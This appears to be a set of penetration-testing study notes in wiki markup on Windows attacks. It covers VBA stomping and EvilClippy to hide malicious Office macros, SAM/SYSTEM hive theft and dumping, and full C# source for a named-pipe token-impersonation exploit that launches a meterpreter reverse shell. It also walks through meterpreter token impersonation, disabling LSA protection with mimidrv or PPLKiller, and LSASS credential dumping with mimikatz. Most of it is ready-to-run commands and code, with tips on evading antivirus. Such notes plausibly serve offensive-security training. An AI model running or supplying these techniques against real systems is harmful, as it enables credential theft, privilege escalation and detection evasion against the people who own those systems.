* &#039;&#039;&#039;Understanding File Formats&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Old Format&#039;&#039;&#039;: Compound File Binary Format.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;New Format&#039;&#039;&#039;: Similar to .zip files.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Using FlexHEX&#039;&#039;&#039;&lt;br /&gt;
Open FlexHEX.&lt;br /&gt;
&lt;br /&gt;
* Navigate to  ​File &amp;gt; Open &amp;gt; OLE Compound File​ .&lt;br /&gt;
&lt;br /&gt;
* Open the Word document to inspect it.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Inspect Macro Information&#039;&#039;&#039;&lt;br /&gt;
For modern files, macros are stored in  ​vbaProject.bin​  inside the zipped archive.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Editing Macros&#039;&#039;&#039;&lt;br /&gt;
Edit the  ​PROJECT​  file in the navigator window to remove links to macros, using  ​Edit &amp;gt; Insert Zero Block​ .&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Understanding P-Code&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;P-Code&#039;&#039;&#039;: Cached and compiled version of VBA textual code, specific to the Office and VBA version it was created on.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage&#039;&#039;&#039;: Used to execute macros faster on the same version of Office, bypassing VBA interpreter translation.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Performing VBA Stomping&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Goal&#039;&#039;&#039;: Remove VBA source code while retaining P-code to bypass detection but still execute the code.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;How&#039;&#039;&#039;:&lt;br /&gt;
Open the document in FlexHEX.&lt;br /&gt;
&lt;br /&gt;
* Locate the VBA source code in  ​NewMacros​ .&lt;br /&gt;
&lt;br /&gt;
* Select all bytes from “Attribute VB_Name” and remove it using  ​Edit &amp;gt; Insert Zero Block​ .&lt;br /&gt;
&lt;br /&gt;
* Save and re-compress the document.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Testing&#039;&#039;&#039;&lt;br /&gt;
Open the edited document in Word.&lt;br /&gt;
&lt;br /&gt;
* Note: The VBA source code should be visually removed, but the P-code still executes, enabling the attack to work.&lt;br /&gt;
&lt;br /&gt;
=== Automating VBA Stomping Using Evil Clippy ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/outflanknl/EvilClippy GitHub - outflanknl/EvilClippy: A cross-platform assistant for creating malicious MS Office documents. Can hide VBA macros, stomp VBA code (via P-Code) and confuse macro analysis tools. Runs on Linux, OSX and Windows.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
EvilClippy.exe -s fake.vbs -g -r cobaltstrike.doc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/ Evil Clippy: MS Office maldoc assistant | Outflank]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Usage Examples&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Print help: &amp;lt;code&amp;gt;EvilClippy.exe -h&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Hide macros from GUI: &amp;lt;code&amp;gt;EvilClippy.exe -g macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Unhide macros: &amp;lt;code&amp;gt;EvilClippy.exe -gg macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stomp VBA (abuse P-code): &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set target Office version for VBA stomping: &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba -t 2016x86 macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set random module names: &amp;lt;code&amp;gt;EvilClippy.exe -r macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Reset random module names: &amp;lt;code&amp;gt;EvilClippy.exe -rr macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Serve a VBA stomped template via HTTP: &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba -w 8080 macrofile.dot&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set Locked/Unviewable attributes: &amp;lt;code&amp;gt;EvilClippy.exe -u macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Remove Locked/Unviewable attributes: &amp;lt;code&amp;gt;EvilClippy.exe -uu macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Windows Credentials ==&lt;br /&gt;
&lt;br /&gt;
=== SAM database ===&lt;br /&gt;
&lt;br /&gt;
See Cheatsheet I for methods on how to obtain the SAM database and extract the hashes.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Shadow Volume Copy Workaround&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Create a snapshot of the local hard drive using &#039;&#039;&#039;WMIC. &#039;&#039;&#039;Need to launch from an administrative command prompt:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; wmic shadowcopy call create Volume=&#039;C:\&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Verify shadow volume:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; vssadmin list shadows&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Copy SAM from shadow volume:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\offsec.corp1\Downloads\sam&lt;br /&gt;
Note: Run above command in  ​cmd.exe​ , not in PowerShell.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Encrypting SAM Database&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
SAM is encrypted by &#039;&#039;&#039;RC4&#039;&#039;&#039; or &#039;&#039;&#039;AES&#039;&#039;&#039;. Encryption keys are in the  ​SYSTEM​  file. Copy SYSTEM file:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\offsec.corp1\Downloads\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Save SAM and SYSTEM from Registry&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Using  ​reg save​  command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; reg save HKLM\sam C:\users\offsec.corp1\Downloads\sam&lt;br /&gt;
C:\&amp;gt; reg save HKLM\system C:\users\offsec.corp1\Downloads\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Read SAM, SYSTEM and SECURITY&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL&lt;br /&gt;
# Or using creddump&lt;br /&gt;
https://github.com/Neohapsis/creddump7&lt;br /&gt;
python pwdump.py /home/kali/system /home/kali/sam&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Access Tokens ===&lt;br /&gt;
&lt;br /&gt;
* Access tokens track user&#039;s access rights after authentication.&lt;br /&gt;
&lt;br /&gt;
* They are assigned to each process associated with the user.&lt;br /&gt;
&lt;br /&gt;
* Access tokens are stored inside the kernel, preventing direct modification.&lt;br /&gt;
&lt;br /&gt;
==== PrintSpoofer.exe ====&lt;br /&gt;
&lt;br /&gt;
The code below will open a pipe and wait for a authentication. Instead, you can use PrintSpoofer from itm4n and compile it. This will give SYSTEM shell directly. To evade detection the code can be obfuscated.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/itm4n/PrintSpoofer GitHub - itm4n/PrintSpoofer: Abusing impersonation privileges through the &amp;quot;Printer Bug&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
* SeImpersonatePrivilege allows us to impersonate any token for which we can get a reference, or&lt;br /&gt;
handle.&lt;br /&gt;
&lt;br /&gt;
* We will use [https://github.com/leechristensen/SpoolSample SpoolSample.exe] to coerce Windows hosts to authenticate to other machines via the MS-RPRN RPC interface.&lt;br /&gt;
&lt;br /&gt;
* We will use the code below to simulate a print client. The code will create a pipe server, wait for a connection, and attempt to impersonate the client that connects to it.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Principal;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace PrintSpoofer&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static uint PIPE_ACCESS_DUPLEX = 0x3;&lt;br /&gt;
        public static uint PIPE_TYPE_BYTE = 0x0;&lt;br /&gt;
        public static uint PIPE_WAIT = 0x0;&lt;br /&gt;
        public static uint TOKEN_ALL_ACCESS = 0xF01FF;&lt;br /&gt;
        public static uint TOKENUSER = 1;&lt;br /&gt;
        public static uint SECURITY_IMPERSONATION = 2;&lt;br /&gt;
        public static uint TOKEN_PRIMARY = 1;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        public struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]&lt;br /&gt;
        public struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public string lpReserved;&lt;br /&gt;
            public string lpDesktop;&lt;br /&gt;
            public string lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        public enum CreationFlags&lt;br /&gt;
        {&lt;br /&gt;
            DefaultErrorMode = 0x04000000,&lt;br /&gt;
            NewConsole = 0x00000010,&lt;br /&gt;
            NewProcessGroup = 0x00000200,&lt;br /&gt;
            SeparateWOWVDM = 0x00000800,&lt;br /&gt;
            Suspended = 0x00000004,&lt;br /&gt;
            UnicodeEnvironment = 0x00000400,&lt;br /&gt;
            ExtendedStartupInfoPresent = 0x00080000&lt;br /&gt;
        }&lt;br /&gt;
        public enum LogonFlags&lt;br /&gt;
        {&lt;br /&gt;
            WithProfile = 1,&lt;br /&gt;
            NetCredentialsOnly&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr CreateNamedPipe(string lpName, uint dwOpenMode, uint dwPipeMode, uint nMaxInstances, uint nOutBufferSize, uint nInBufferSize, uint nDefaultTimeOut, IntPtr lpSecurityAttributes);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool ConnectNamedPipe(IntPtr hNamedPipe, IntPtr lpOverlapped);&lt;br /&gt;
        [DllImport(&amp;quot;Advapi32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool OpenThreadToken(IntPtr ThreadHandle, uint DesiredAccess, bool OpenAsSelf, out IntPtr TokenHandle);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr GetCurrentThread();&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true, CharSet = CharSet.Unicode)]&lt;br /&gt;
        public static extern bool CreateProcessWithTokenW(IntPtr hToken, LogonFlags dwLogonFlags, string lpApplicationName, string lpCommandLine, CreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, CharSet = CharSet.Auto, SetLastError = true)]&lt;br /&gt;
        public extern static bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, uint ImpersonationLevel, uint TokenType, out IntPtr phNewToken);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool RevertToSelf();&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern uint GetSystemDirectory([Out] StringBuilder lpBuffer, uint uSize);&lt;br /&gt;
        [DllImport(&amp;quot;userenv.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Parse arguments (pipe name)&lt;br /&gt;
            if (args.Length != 2)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Please enter the pipe name to be used and the binary to trigger as arguments.\nExample: .\\PrintSpoofer.exe \\\\.\\pipe\\test\\pipe\\spoolss c:\\windows\\tasks\\bin.exe&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            string pipeName = args[0];&lt;br /&gt;
            string binToRun = args[1];&lt;br /&gt;
            // Create our named pipe&lt;br /&gt;
            IntPtr hPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 0x1000, 0x1000, 0, IntPtr.Zero);&lt;br /&gt;
            // Connect to our named pipe and wait for another client to connect&lt;br /&gt;
            Console.WriteLine(&amp;quot;Waiting for client to connect to named pipe...&amp;quot;);&lt;br /&gt;
            bool result = ConnectNamedPipe(hPipe, IntPtr.Zero);&lt;br /&gt;
            // Impersonate the token of the incoming connection&lt;br /&gt;
            result = ImpersonateNamedPipeClient(hPipe);&lt;br /&gt;
            // Open a handle on the impersonated token&lt;br /&gt;
            IntPtr tokenHandle;&lt;br /&gt;
            result = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, out tokenHandle);&lt;br /&gt;
            // Duplicate the stolen token&lt;br /&gt;
            IntPtr sysToken = IntPtr.Zero;&lt;br /&gt;
            DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION, TOKEN_PRIMARY, out sysToken);&lt;br /&gt;
            // Create an environment block for the non-interactive session&lt;br /&gt;
            IntPtr env = IntPtr.Zero;&lt;br /&gt;
            bool res = CreateEnvironmentBlock(out env, sysToken, false);&lt;br /&gt;
            // Get the impersonated identity and revert to self to ensure we have impersonation privs&lt;br /&gt;
            String name = WindowsIdentity.GetCurrent().Name;&lt;br /&gt;
            Console.WriteLine($&amp;quot;Impersonated user is: {name}.&amp;quot;);&lt;br /&gt;
            RevertToSelf();&lt;br /&gt;
            // Get the system directory&lt;br /&gt;
            StringBuilder sbSystemDir = new StringBuilder(256);&lt;br /&gt;
            uint res1 = GetSystemDirectory(sbSystemDir, 256);&lt;br /&gt;
            // Spawn a new process with the duplicated token, a desktop session, and the created profile&lt;br /&gt;
            PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();&lt;br /&gt;
            STARTUPINFO sInfo = new STARTUPINFO();&lt;br /&gt;
            sInfo.cb = Marshal.SizeOf(sInfo);&lt;br /&gt;
            sInfo.lpDesktop = &amp;quot;WinSta0\\Default&amp;quot;;&lt;br /&gt;
            CreateProcessWithTokenW(sysToken, LogonFlags.WithProfile, null, binToRun, CreationFlags.UnicodeEnvironment, env, sbSystemDir.ToString(), ref sInfo, out pInfo);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Executed &#039;{binToRun}&#039; with impersonated token!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Compile the code (PrintSpoofer.exe) above and compile a meterpreter reverse shell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Transfer to target.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 2 - Start the&#039;&#039;&#039; &#039;&#039;&#039;PrintSpoofer.exe&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Specify the meterpreter binary&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PrintSpoofer.exe \\.\pipe\test\pipe\spoolss C:windows\tasts\bin.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Coerce Windows to authenticate&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Use SpoolSample.exe to authenticate.&lt;br /&gt;
&lt;br /&gt;
* When a file path is supplied to a Win32 API, directory separators are converted to a canonical form. Forward slashes (“/”) are converted to backward slashes (“\”). This process is known as file path normalization.&lt;br /&gt;
&lt;br /&gt;
* If &amp;lt;code&amp;gt;SpoolSample&amp;lt;/code&amp;gt; is provided with a pipe name containing a forward slash after the hostname (e.g., “appsrv01/test”), the spooler service appends the default name “pipe\spoolss” before processing.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
SpoolSample.exe appsrv01 appsrv01/pipe/test&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 4 - bin.exe executed in the context of impersonated token&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Using Meterpreter to impersonate users ====&lt;br /&gt;
&lt;br /&gt;
* Using the meterpreter sesison with SYSTEM shell we can impersonate tokens without using mimikatz.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Steps&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Load Incognito Extension&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 meterpreter &amp;gt; load incognito&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Display Available Commands&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; help incognito&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Key Commands&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;add_group_user​ &amp;lt;/code&amp;gt;: Add a user to a global group with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;add_localgroup_user&amp;lt;/code&amp;gt;​ : Add a user to a local group with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  &amp;lt;code&amp;gt;​add_user&amp;lt;/code&amp;gt;​ : Add a user with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;impersonate_token&amp;lt;/code&amp;gt;​ : Impersonate a specified token.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;list_tokens&amp;lt;/code&amp;gt;​ : List tokens available under the current user context.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;snarf_hashes&amp;lt;/code&amp;gt;​ : Capture challenge/response hashes for every token.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;List Unique User Tokens&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  meterpreter &amp;gt; list_tokens -u&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Output&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Delegation Tokens (e.g.,  ​corp1\admin​ ,  ​NT AUTHORITY\SYSTEM​ , etc.)&lt;br /&gt;
&lt;br /&gt;
* Impersonation Tokens (e.g.,  ​NT AUTHORITY\ANONYMOUS LOGON​ )&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Impersonate a User Token&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​impersonate_token​  command to impersonate a user through the Win32  ​ImpersonateLoggedOnUser​  API.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; impersonate_token corp1\\admin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Verify Impersonation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; getuid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Kerberos ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Domain Controller (DC)&#039;&#039;&#039;: Acts as a Key Distribution Center (KDC).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Authentication Server&#039;&#039;&#039;: Service run by the DC.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Ticket Granting Ticket (TGT)&#039;&#039;&#039;: Contains user info, domain, timestamp, client IP, and session key.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Service Principal Name (SPN)&#039;&#039;&#039;: Identifier for each instance of a service.&lt;br /&gt;
&lt;br /&gt;
==== Disable LSA protection and dump cached creds ====&lt;br /&gt;
&lt;br /&gt;
Download mimidrv 32bit or 64bit here [https://github.com/In3x0rabl3/OSEP/tree/main/Lateral_Movement/driver OSEP/Lateral_Movement/driver at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
* Mimikatz is a tool used to extract and manipulate credentials, tokens, and privileges in Windows.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Local Security Authority (LSA) Protection&#039;&#039;&#039;: Protects the LSASS memory space where password hashes are cached.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Protected Processes Light (PPL)&#039;&#039;&#039;: Introduced from Windows 8 onwards, prevents a SYSTEM integrity process from accessing another SYSTEM integrity process with PPL enabled.&lt;br /&gt;
&lt;br /&gt;
* LSASS is part of the OS and runs as SYSTEM. SYSTEM or local administrator permissions are needed to access hashes stored on a target.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Enable SeDebugPrivilege:&lt;br /&gt;
mimikatz # privilege::debug&lt;br /&gt;
# 2. Manually load the driver with the sc.exe Service Control application.&lt;br /&gt;
sc create mimidrv binPath=C:\\windows\\tasks\\mimidrv.sys type=kernel start=demand&lt;br /&gt;
sc start mimidrv&lt;br /&gt;
# 3. Load mimidrv.sys (https://github.com/ParrotSec/mimikatz/tree/master/x64) Driver (to disable PPL protection for LSASS):&lt;br /&gt;
# NOTE: Uploading the mimidrv.sys driver to the victim machine might trigger antivirus detections.&lt;br /&gt;
mimikatz # !+&lt;br /&gt;
# 4. Disable LSA Protection for LSASS:&lt;br /&gt;
mimikatz # !processprotect /process:lsass.exe /remove&lt;br /&gt;
# 5. Dump Credentials After Disabling LSA Protection:&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Using PPLKiller ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/RedCursorSecurityConsulting/PPLKiller GitHub - RedCursorSecurityConsulting/PPLKiller: Tool to bypass LSA Protection (aka Protected Process Light)]&lt;br /&gt;
&lt;br /&gt;
Tool to bypass LSA Protection (aka Protected Process Light)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
1. Open PPLKiller.sln with Visual Studio 2019 and build a Release binary which will be saved in PPLKiller\x64\Release\PPLKiller.exe&lt;br /&gt;
2. You&#039;ll always want to run PPLKiller.exe /installDriver first to install the driver&lt;br /&gt;
3. Run an attack like PPLKiller.exe /disableLSAProtection&lt;br /&gt;
4. Cleanup with PPLKiller.exe /uninstallDriver&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Memory Dump with Mimikatz ====&lt;br /&gt;
&lt;br /&gt;
* Memory dumps allow for the extraction of sensitive information, such as credentials, from the LSASS process.&lt;br /&gt;
&lt;br /&gt;
* Mimikatz can be used to parse these dumps and extract the desired information.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Using Task Manager&#039;&#039;&#039;:&lt;br /&gt;
Right-click the task bar and select Task Manager.&lt;br /&gt;
&lt;br /&gt;
* Navigate to the Details tab.&lt;br /&gt;
&lt;br /&gt;
* Locate the  ​lsass.exe​  process.&lt;br /&gt;
&lt;br /&gt;
* Right-click it and choose &amp;quot;Create dump file&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* Note the location of the dump file from the popup.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Ensure Compatibility&#039;&#039;&#039;:&lt;br /&gt;
When opening a dump file in Mimikatz, the target machine and the processing machine must have a matching OS and architecture. For example, if the dumped LSASS process was from a Windows 10 64-bit machine; we must also parse it on a Windows 10 or Windows 2016/2019 64-bit machine. However, processing the dump file requires neither an elevated command prompt nor privilege::debug.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Load and Parse the Dump&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Tools\Mimikatz&amp;gt; mimikatz.exe&lt;br /&gt;
mimikatz # sekurlsa::minidump lsass.dmp&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Creating a dump using Task Manager requires GUI access to the target machine.&lt;br /&gt;
&lt;br /&gt;
* While parsing the dump file with Mimikatz, there&#039;s no need for an elevated command prompt or the  ​privilege::debug​  command.&lt;br /&gt;
&lt;br /&gt;
* The technique does not require the presence of Mimikatz on the target machine.&lt;br /&gt;
&lt;br /&gt;
==== MiniDump ====&lt;br /&gt;
&lt;br /&gt;
* Developing a custom C# application for executing a memory dump, which can be parsed using Mimikatz.&lt;br /&gt;
&lt;br /&gt;
